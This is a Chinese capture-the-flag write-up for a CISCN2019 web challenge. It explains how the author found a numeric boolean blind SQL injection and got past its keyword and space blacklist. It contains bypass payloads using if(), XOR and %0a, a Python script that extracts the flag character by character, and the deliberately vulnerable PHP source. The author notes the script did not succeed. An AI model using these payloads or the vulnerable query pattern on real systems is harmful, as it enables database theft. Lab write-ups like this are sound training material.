布尔盲注payload补充
前言
- 题目环境:buuctf中[CISCN2019 华北赛区 Day2 Web1]Hack World1
- 知识点:异或,布尔盲注
- 参考wp1
做题
查询为假时 返回Error Occured When Fetch Result.
语法错误时 返回bool(false)
判断注入类型
and被过滤了,or也被过滤了
测试时发现,只要and 和or前面有任何字符都会被报过滤
但是单独放and和or却是返回报错的信息
当是猜的是正则
看了源码才发现,原来是stripos过滤,单独放时返回为0,前面有任意字符时,返回非0
这里如果是字符型注入,那么我放入aaaaa,应该是返回查询为假的信息
但是返回的却是为错的信息,所以是数字型注入
继续测试,我们会发现过滤了" ",并且使用/**/,/!/无法绕过,但是%09,%0a,%0b,%0c,%0d或者直接tab可以绕过
union不能用,导致无法联合查询,and 和 or 被过滤导致类似1 and substr(database(),1,1)='t' 的payload无法使用
目前我已知的联合查询,报错,布尔都不能用,堆叠;也被过滤了
看了wp才发现可以这样构造
payload1:if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)
,()绕过空格
payload2:if(ascii(substr((select%0aflag%0afrom(flag)),1,1))=ascii('f'),1,2)
,%0a之类的绕过空格
还有的就是利用^
相同出0,不同出1
payload3:1^(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'))^1
但是写脚本时,用%0a,%09之类的会跑不出,原因我也不知道。。
脚本:
import requests
import sys
url='http://68016530-3ba5-4a0d-8acd-994e33db0016.node3.buuoj.cn/index.php'
sql="if((substr((select(flag)from(flag)),{0},1))='{1}',1,2)"
flag=''
for i in range(1,50):
print('guess',str(i))
for ch in range(32,129):
if ch==128:
sys.exit()
sqli=sql.format(i,chr(ch))
data={"id":sqli}
response=requests.post(url,data=data).text
if "Hello, glzjin wants a girlfriend." in response:
flag+=chr(ch)
print(flag)
break
这里因为buuctf有防扫机制,导致flag爆不出,也没找到脚本。。就这样吧
源码
<?php
$dbuser='root';
$dbpass='root';
function safe($sql){
#被过滤的内容 函数基本没过滤
$blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
foreach($blackList as $blackitem){
if(stripos($sql,$blackitem)){
return False;
}
}
return True;
}
if(isset($_POST['id'])){
$id = $_POST['id'];
}else{
die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
die(mysql_error());
}
mysql_select_db("ctf",$db);
if(safe($id)){
$query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
if($query){
$result = mysql_fetch_array($query);
if($result){
echo $result['content'];
}else{
echo "Error Occured When Fetch Result.";
}
}else{
var_dump($query);
}
}else{
die("SQL Injection Checked.");
}